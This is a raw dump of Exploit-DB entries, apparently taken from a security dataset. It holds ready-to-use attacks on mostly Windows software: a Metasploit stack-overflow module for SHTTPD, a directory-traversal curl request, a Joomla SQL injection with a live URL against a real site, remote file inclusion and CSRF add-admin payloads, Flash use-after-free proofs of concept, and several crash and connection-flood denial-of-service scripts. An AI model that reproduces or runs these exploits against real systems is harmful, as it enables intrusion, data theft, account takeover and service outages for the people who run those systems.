deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16759
Description: SHTTPD 1.34 (Windows x86) - URI-Encoded POST Request Overflow (Metasploit)
Type: remote
Platform: windows_x86
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: shttpd_post.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)',
			'Description'    => %q{
					This module exploits a stack buffer overflow in SHTTPD <= 1.34.
				The vulnerability is caused due to a boundary error within the
				handling of POST requests. Based on an original exploit by skOd
				but using a different method found by hdm.
			},
			'Author'         => [ 'LMH <lmh [at] info-pull.com>', 'hdm', 'skOd'],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2006-5216'],
					[ 'OSVDB', '29565' ],
					[ 'URL', 'http://shttpd.sourceforge.net'],
					[ 'BID', '20393'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'BadChars' => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Except for Spanish locale target, all come from:
					# http://metasploit.com/users/opcode/msfopcode.cgi
					[ 'Windows NT English SP5-SP6',			{ 'Ret' => 0x776a183a } ],
					[ 'Windows 2000 Spanish SP4',			{ 'Ret' => 0x79496391 } ],
					[ 'Windows 2000 French SP4',			{ 'Ret' => 0x74fb108d } ],
					[ 'Windows 2000 English SP0-SP4',			{ 'Ret' => 0x75021421 } ],
					[ 'Windows 2000 French SP0-SP4',			{ 'Ret' => 0x74fa3144 } ],
					[ 'Windows 2003 Server English SP0-SP1',	{ 'Ret' => 0x77d877d3 } ],
					[ 'Windows XP German SP2',				{ 'Ret' => 0x71a02975 } ],
					[ 'Windows XP German SP1',				{ 'Ret' => 0x71a02a6a } ],
					[ 'Windows XP English SP2',				{ 'Ret' => 0x71aa1e08 } ],
					[ 'Windows XP English SP0-SP1',			{ 'Ret' => 0x71aa1aaa } ],
				],
			'DisclosureDate' => 'Oct 6 2006'))

		register_options(
			[
				Opt::RPORT(80)
			], self.class )
	end

	def exploit
		connect

		pat = rand_text_alphanumeric(4000)
		pat[8,4] = [target.ret].pack('V')
		pat[103, payload.encoded.length] = payload.encoded
		pat = Rex::Text.uri_encode(pat)

		res = "post /#{pat} HTTP/1.0\r\n\r\n"

		print_status("Trying target address 0x%.8x..." % target.ret)
		sock.put(res)
		sock.close

		handler
		disconnect
	end

end
Exploit-DB #45296
Description: Argus Surveillance DVR 4.0.0.0 - Directory Traversal
Type: webapps
Platform: windows_x86
Date: 2018-08-29
Author: hyp3rlinx

Exploit:
# Exploit: Argus Surveillance DVR 4.0.0.0 - Directory Traversal
# Author: John Page (aka hyp3rlinx)
# Date: 2018-08-28
# Vendor: www.argussurveillance.com
# Software Link: http://www.argussurveillance.com/download/DVR_stp.exe
# CVE: N/A

# Description:
# Argus Surveillance DVR 4.0.0.0 devices allow Unauthenticated Directory Traversal, 
# leading to File Disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter.

# PoC

curl "http://VICTIM-IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="

# Result:

; for 16-bit app support
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
 
wave=mmdrv.dll
timer=timer.drv

# https://vimeo.com/287115273
# Greetz: ***Greetz: indoushka | Eduardo | GGA***
Exploit-DB #15100
Description: Joomla! Component Elite Experts - SQL Injection
Type: webapps
Platform: windows_x86
Date: 2010-09-24
Author: **RoAd_KiLlEr**

Exploit:
[+]Title           Joomla  Component  (com_elite_experts)   SQL Injection Vulnerability
[+]Author          **RoAd_KiLlEr**
[+]Contact         RoAd_KiLlEr[at]Khg-Crew[dot]Ws
[+]Tested on       Win Xp Sp 2/3
---------------------------------------------------------------------------
[~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws 
[~] Vendor: http://www.joomla.org
==========ExPl0iT3d by **RoAd_KiLlEr**==========

[+]Description:
The 'com_elite_experts' component is a module for the Joomla! and Mambo content managers.

=========================================

[+] Dork: inurl:"option=com_elite_experts"

==========================================

[+].  SQL-i Vulnerability
=+=+=+=+=+=+=+=+=+

[P0C]:  http://127.0.0.1/path/index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=[SQL Injection] 

[Dem0]:  http://127.0.0.1/path/index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=[SQL Injection] 

[LiVe DeM0]:

http://www.razwod.ru/index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=-38+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38--


[Infos]:  In  Other webpages the nomber of columns changes,but all of them are vulnerable to the "id" parameter... :P  Good Luck

===========================================================================================
[!] Albanian Hacking Crew           
===========================================================================================
[!] **RoAd_KiLlEr**   Says: Hate me , but all you motherf******* can't brake Me, So Hate Me.... For All Haters
===========================================================================================
[!] MaiL: sukihack[at]gmail[dot]com
===========================================================================================
[!] Greetz To : Ton![w]indowS | X-n3t | b4cKd00r ~ | The|DennY` | EaglE EyE  | THE_1NV1S1BL3 & All Albanian/Kosova Hackers 
===========================================================================================
[!] Spec Th4nks: Inj3ct0r.com & r0073r  | indoushka | Sid3^effects| L0rd CruSad3r |SONIC | All Inj3ct0r 31337 Members | And All My Friends
===========================================================================================
[!] Red n'black i dress eagle on my chest
It's good to be an ALBANIAN
Keep my head up high for that flag I die
Im proud to be an ALBANIAN
===========================================================================================
Exploit-DB #14628
Description: PHP-Nuke 8.1 SEO Arabic - Remote File Inclusion
Type: webapps
Platform: windows_x86
Date: 2010-08-12
Author: LoSt.HaCkEr

Exploit:
# Exploit Title: [PHP-Nuke-8.1-seo-Arabic Remote File Include ] 
# Date: [12-8-2010] # Author: LoSt.HaCkEr 
# Software Link: [http://scripts.bdr130.net/faile/PHP-Nuke-8.1-seo-Arabic.zip] # Version: [v 8.1] # Tested on: [Windows XP] 
# CVE : [هكر المسيب]
#Contact: LoSt.HaCkEr[at]yahoo[dot]com____________________________________

Exploit: http://target/PHP-Nuke-8.1-seo-Arabic/PHP-Nuke-8.1-seo-Arabic/html/mainfile.php?newlang=[shell]____________________________________________

Exploit: http://target/PHP-Nuke-8.1-seo-Arabic/PHP-Nuke-8.1-seo-Arabic/html/index.php?ThemeSel=[shell]____________________________________________

A special tribute to: DannY.iRaQi - TeaM iRaQ HaCkers
Exploit-DB #15102
Description: Traidnt UP - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: windows_x86
Date: 2010-09-24
Author: John Johnz

Exploit:
# Exploit Title: Traidnt UP - CSRF Add Admin Account
# Date: 24-09-2010
# Author: G0D-F4Th3r
# Software Link: http://www.traidnt.net
# Software Download:
http://traidntup.googlecode.com/files/Traidnt%20up%20V3.0.zip
# Version: 3.0
#######################Exploit#######################################
<html>
<body onload="javascript:fireForms()">
<form method="POST" name="form0" action="
http://www.site.com/[path]/admin/users.php?do=addnew">
<input type="hidden" name="name" value="admin2"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="email" value="mail@mail.com"/>
<input type="hidden" name="birthdate" value="1985"/>
<input type="hidden" name="country" value="Saudi Arabia"/>
<input type="hidden" name="group" value="1"/>
</form>
</body>
</html>
Exploit-DB #45311
Description: Acunetix WVS Reporter 10.0 - Denial of Service (PoC)
Type: dos
Platform: windows_x86-64
Date: 2018-08-31
Author: Ali Alipour

Exploit:
# Exploit Title: Acunetix WVS Reporter 10.0 - Denial of Service (PoC)
# Exploit Author: Ali Alipour
# Date: 2018-08-22
# Vendor Homepage : https://www.acunetix.com/
# Tested on : Windows 10 - 64-bit

# Steps to Reproduce
# Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the Acunetix WVS Reporter 10.0 program. 
# In the new window click "Report Preview" > "Load Report". 
# And upload a sample report >> Then click on the print button .
# Now Paste the content of "exploit.txt" into the field: " Pages ". 
# Click "OK" and you will see a Crash.

#!/usr/bin/python
    
buffer = "A" * 20
payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #39221
Description: Adobe Flash - Use-After-Free When Setting Stage
Type: dos
Platform: windows_x86-64
Date: 2016-01-11
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=629

The attached file causes a use-after-free when calling the stage setter. The PoC works most consistently in Firefox for 64-bit Windows.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39221.zip
Exploit-DB #39043
Description: Adobe Flash Selection.SetSelection - Use-After-Free
Type: dos
Platform: windows_x86-64
Date: 2015-12-18
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=590

There is a use-after-free in Selection.SetSelection. If it is called with a number parameter, which is an object with valueOf defined, and this function frees the parent of the TextField parameter, the object is used after it is freed. A minimal PoC follows:

var mc = this.createEmptyMovieClip("mc", 301);
var myText_txt = mc.createTextField("myText_txt", 302, 1, 1, 100, 100);
myText_txt.text = "this is my text";
Selection.setFocus("myText_txt");
var n = {valueOf : func};
Selection.setSelection(n, 3);

function func(){

  mc.removeMovieClip();
  // Fix heap here
  return 0;

}

A sample swf and fla are attached. Note that this PoC only works on 64-bit platforms.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39043.zip
Exploit-DB #39072
Description: Adobe Flash Sound.setTransform - Use-After-Free
Type: dos
Platform: windows_x86-64
Date: 2015-12-21
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=568

There is a use-after-free in Sound.setTransform. If a transform value is set to an object with valueOf defined, it can free the transform before the values are set. A minimal PoC is as follows:

this.createEmptyMovieClip("my_mc", 1);
var my_sound:Sound = new Sound("my_mc");
var o = {valueOf : func};
my_sound.attachSound("world");
my_sound.setTransform({ll : o, lr: 0x77777777, rr : 0x77777777, rl : 0x77777777});
my_sound.start();

function func(){	
        my_mc.removeMovieClip();
	return 0x77777777;
	}

A sample swf and fla are attached. Note that these PoCs will not cause a crash. Instead, they demonstrate the use-after-free by overwriting the matrix array of a ConvolutionFilter. The use-after-free changes the array from being all zeros to having values of float 0x77777777 at the end. The test fails if the second array is not all zero. The test passes if the second array is all zero. These PoCs only work on 64-bit systems.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39072.zip
Exploit-DB #45708
Description: AlienIP 2.41 - Denial of Service (PoC)
Type: dos
Platform: windows_x86-64
Date: 2018-10-29
Author: Arturo de la Cruz Tellez

Exploit:
# Exploit Title:  AlienIP 2.41 - Denial of Service (PoC)
# Author: Arturo de la Cruz Tellez
# Discovery Date: 2018-10-17
# Vendor Homepage: http://www.armcode.com
# Tested Version: 2.41
# Tested on OS: Microsoft Windows 10 Home Single Language x64
# Versión	10.0.10240 compilación 10240

# PoC
# Steps to produce the crash
# 1.- Run python code : python AlienIP2.41.py
# 2.- Open AlienIP2.41.txt and copy context to clipboard
# 3.- Open AlienIP.exe
# 4.- Paste clipboard on IP address or Country 
# 5.- Click in Locate host
# 5.- Enter
# 6.- Crashed alienip.exe dejo de funcionar

buffer = "\x41" * 200 + "." + "\x41" * 200 + "." + "\x41" * 200 + "." + "\x41" * 69
f = open ("AlienIP2.41.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #45850
Description: AMPPS 2.7 - Denial of Service (PoC)
Type: dos
Platform: windows_x86-64
Date: 2018-11-14
Author: Ihsan Sencan

Exploit:
# Exploit Title: AMPPS 2.7 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.ampps.com/
# Software Link: https://kent.dl.sourceforge.net/project/ampps/2.7/Ampps-2.7-setup.exe
# Version: 2.7
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)

#!/usr/bin/python
import socket

print """
         \\\|///
       \\  - -  //
        (  @ @ )
 ----oOOo--(_)-oOOo----
   AMPPS 2.7
   Ihsan Sencan
 ---------------Ooooo----
                (   )
       ooooO     ) /
       (   )    (_/
        \ (
         \_)
"""
Ip = raw_input("[Ip]: ")
Port = 80 # Default port
 
d=[]
c=0
while 1:
    try:
        d.append(socket.create_connection((Ip,Port)))
        d[c].send("BOOM")
        print "Sie!"
        c+=1
    except socket.error: 
        print "Done!"
        raw_input()
        break
Exploit-DB #18275
Description: Apple Safari - GdiDrawStream Blue Screen of Death
Type: dos
Platform: windows_x86-64
Date: 2011-12-18
Author: webDEViL

Exploit:
# Exploit Title: GdiDrawStream BSoD
# Date: 18-12-2011
# Author: webDEViL
# Version: Latest
# Tested on: Windows 7 x64 using Safari
# http://twitter.com/w3bd3vil

<iframe height='18082563'></iframe>


---#---
STACK_TEXT:
fffff880`08b50f78 fffff800`0328e3bf : 00000000`00000050 fffff904`c2730258
00000000`00000001 fffff880`08b510e0 : nt!KeBugCheckEx
fffff880`08b50f80 fffff800`032e1d6e : 00000000`00000001 fffff904`c2730258
00000000`00002700 fffff880`08b51380 : nt! ?? ::FNODOBFM::`string'+0x44791
fffff880`08b510e0 fffff960`00164e2e : fffff960`00280a11 fffff900`c1f11320
fffff900`c273fe38 00000000`28451d38 : nt!KiPageFault+0x16e
fffff880`08b51278 fffff960`00280a11 : fffff900`c1f11320 fffff900`c273fe38
00000000`28451d38 00000011`00000001 : win32k!memmove+0x25e
fffff880`08b51280 fffff960`00280ca2 : fffff880`08b5[PII_REDACTED]0`000001dc
fffff900`c2062c78 fffff904`c2730238 : win32k!NtGdiUpdateTransform+0x161
fffff880`08b512b0 fffff960`002815e4 : 00000000`000001dc fffff902`c2734638
00000000`0009f[PII_REDACTED]0`00000000 : win32k!NtGdiUpdateTransform+0x3f2
fffff880`08b51310 fffff960`00281854 : fffff900`c2730018 fffff900`c2062978
00000000`fffffff2 fffff900`00000001 : win32k!NtGdiUpdateTransform+0xd34
fffff880`08b514f0 fffff960`0028208e : fffff900`c1d1a[PII_REDACTED]0`00000000
fffff900`c2[PII_REDACTED]0000`00000000 : win32k!NtGdiUpdateTransform+0xfa4
fffff880`08b515b0 fffff960`002821fd : fffff900`c1d1a028 fffff900`c2062978
00000000`0009f580 fffff900`c1f11320 : win32k!NtGdiUpdateTransform+0x17de
fffff880`08b516d0 fffff960`002823bc : fffff900`c00c0[PII_REDACTED]0`0000003c
fffff880`08b51b20 fffff900`c1d1a010 : win32k!EngNineGrid+0xb1
fffff880`08b51770 fffff960`00282879 : 00000000`00000000 fffff900`c2062978
00000000`00000000 fffff900`c1d1a010 : win32k!EngDrawStream+0x1a0
fffff880`08b51820 fffff960`002831cb : fffff880`08b5[PII_REDACTED]0`00000000
fffff900`c2062960 fffff900`c1f11320 : win32k!NtGdiDrawStreamInternal+0x47d
fffff880`08b518d0 fffff960`0029e93c : 00000000`3f010ad8 00000000`00000000
fffff880`08b51af0 fffff960`00000000 : win32k!GreDrawStream+0x917
fffff880`08b51ac0 fffff800`032e2ed3 : fffffa80`09777b60 00000000`00010000
00000000`000309c0 00000000`7efdb000 : win32k!NtGdiDrawStream+0x9c
fffff880`08b51c20 00000000`73f003fa : 00000000`[PII_REDACTED]`00000000
00000000`[PII_REDACTED]`00000000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0021dd78 00000000`00000000 : 00000000`[PII_REDACTED]`00000000
00000000`[PII_REDACTED]`00000000 : 0x73f003fa
---#---
Exploit-DB #45760
Description: Artha The Open Thesaurus 1.0.3.0 - Denial of Service (PoC)
Type: dos
Platform: windows_x86-64
Date: 2018-11-01
Author: Ihsan Sencan

Exploit:
# Exploit Title: Artha The Open Thesaurus 1.0.3.0 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-01
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://artha.sourceforge.net
# Software Link: https://netcologne.dl.sourceforge.net/project/artha/artha/1.0.3/artha_1.0.3.0.exe
# Version: 1.0.3.0
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Query / Search

#!/usr/bin/python
    
buffer = "A" * 256
 
payload = buffer
try:
    f=open("exp.txt","w")
    print "[+] Creating %s bytes evil payload." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created."
Exploit-DB #45792
Description: Blue Server 1.1 - Denial of Service (PoC)
Type: dos
Platform: windows_x86-64
Date: 2018-11-06
Author: Ihsan Sencan

Exploit:
# Exploit Title: Blue Server 1.1 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-02
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.mafiatic.org/
# Software Link: https://master.dl.sourceforge.net/project/blueserver/Blue-Server-1.1.exe
# Version: 1.1
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)

#!/usr/bin/python
import socket

print """
         \\\|///
       \\  - -  //
        (  @ @ )
 ----oOOo--(_)-oOOo----
 Blue Server 1.1 Dos
    Ihsan Sencan
 ---------------Ooooo----
                (   )
       ooooO     ) /
       (   )    (_/
        \ (
         \_)
"""
Ip = raw_input("[Ip]: ")
Port = 80 # Default port
 
d=[]
c=0
while 1:
    try:
        d.append(socket.create_connection((Ip,Port)))
        d[c].send("BOOM")
        print "Sie!"
        c+=1
    except socket.error: 
        print "Done!"
        raw_input()
        break
Exploit-DB #45679
Description: BORGChat 1.0.0 build 438 - Denial of Service (PoC)
Type: dos
Platform: windows_x86-64
Date: 2018-10-25
Author: Ihsan Sencan

Exploit:
# Exploit Title: BORGChat 1.0.0 build 438 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-10-22
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://borgchat.10n.ro
# Software Link: http://borgchat.10n.ro/download.php
# Version: 1.0.0 build 438
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)

#!/usr/bin/python
import socket
print "# # # # # # # #"
print "BORGChat 1.0.0"
print "# # # # # # # #"
print "\r\n"
Ip = raw_input("[Ip]: ")
Port = 7551 # Default port

arr=[]
c=0
while 1:
    try:
        arr.append(socket.create_connection((Ip,Port)))
        arr[c].send("DOOM")
        print "Sie!"
        c+=1
    except socket.error: 
        print "++ Done! ++"
        raw_input()
        break
Exploit-DB #45410
Description: CdBurnerXP 4.5.8.6795 - 'File Name' Denial of Service (PoC)
Type: dos
Platform: windows_x86-64
Date: 2018-09-14
Author: Alan Joaquín Baeza Meza

Exploit:
# Exploit Title: CdBurnerXP 4.5.8.6795 - 'File Name' Denial of Service (PoC)
# Discovery by: Alan Baeza
# Discovery Date: 2018-09-13
# Vendor Homepage: https://cdburnerxp.se/
# Software Link: https://cdburnerxp.se/downloadsetup.exe
# Tested Version: 4.5.8.6795
# Tested on OS  : Windows 10 Pro x64 es

#!/usr/bin/env python
#-*-coding: utf-8-*-
# Steps to Produce the DoS: 
# 1.- Run python code : python dos.py
# 2.- Open generate.txt and copy content to clipboard
# 3.- Open CdBurnerXP
# 4.- Select option "Copy or grab disc"
# 5.- Select checkbox target "Hard disk"
# 6.- Paste ClipBoard on "File name"
# 7.- Clic Copy disc
# 8.- DoS

import socket, os, sys

buffer = "\x41" * 260

f = open ("generate.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #45770
Description: CdCatalog 2.3.1 - Denial of Service (PoC)
Type: dos
Platform: windows_x86-64
Date: 2018-11-02
Author: Ihsan Sencan

Exploit:
# Exploit Title: CdCatalog 2.3.1 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-01
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://cdcat.sourceforge.net
# Software Link: https://netcologne.dl.sourceforge.net/project/cdcat/cdcat/cdcat-2.3.1/cdcat-2.3.1.tar.bz2
# Version: 2.3.1
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# CTRL+O & File/Open/exp.hcf

#!/usr/bin/python
    
buffer = "A" * 21
 
payload = buffer
try:
    f=open("exp.hcf","w")
    print "[+] Creating %s bytes evil payload." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created."
Exploit-DB #45207
Description: Central Management Software 1.4.13 - Denial of Service (PoC)
Type: dos
Platform: windows_x86-64
Date: 2018-08-16
Author: Gionathan Reale

Exploit:
# Exploit Title: Central Management Software v1.4.13 - Denial of Service (PoC)  
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-16
# Homepage: https://www.ambientweather.com
# Software Link: https://p10.secure.hostingprod.com/@site.ambientweatherstore.com/ssl/Manuals/ambientcam/04_central_management_software.zip
# Tested Version: 1.4.13
# Tested on OS: Windows 10
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the CMS client program. In the new window paste the content of 
# "exploit.txt" into the following fields:"Password". Click "Login" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 2000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #45211
Description: CEWE Photoshow 6.3.4 - Denial of Service (PoC)
Type: dos
Platform: windows_x86-64
Date: 2018-08-17
Author: Gionathan Reale

Exploit:
# Exploit Title: CEWE Photoshow 6.3.4 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-17
# Homepage: https://cewe-photoworld.com/
# Software Link: https://cewe-photoworld.com/creator-software/windows-download
# Tested Version: 6.3.4
# Tested on OS: Windows 10
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. Once inside of the CEWE Photoshow program click "Login". In the new window paste the content of 
# "exploit.txt" into the following fields:"email address" & "Password". Click "Ok" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 4000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"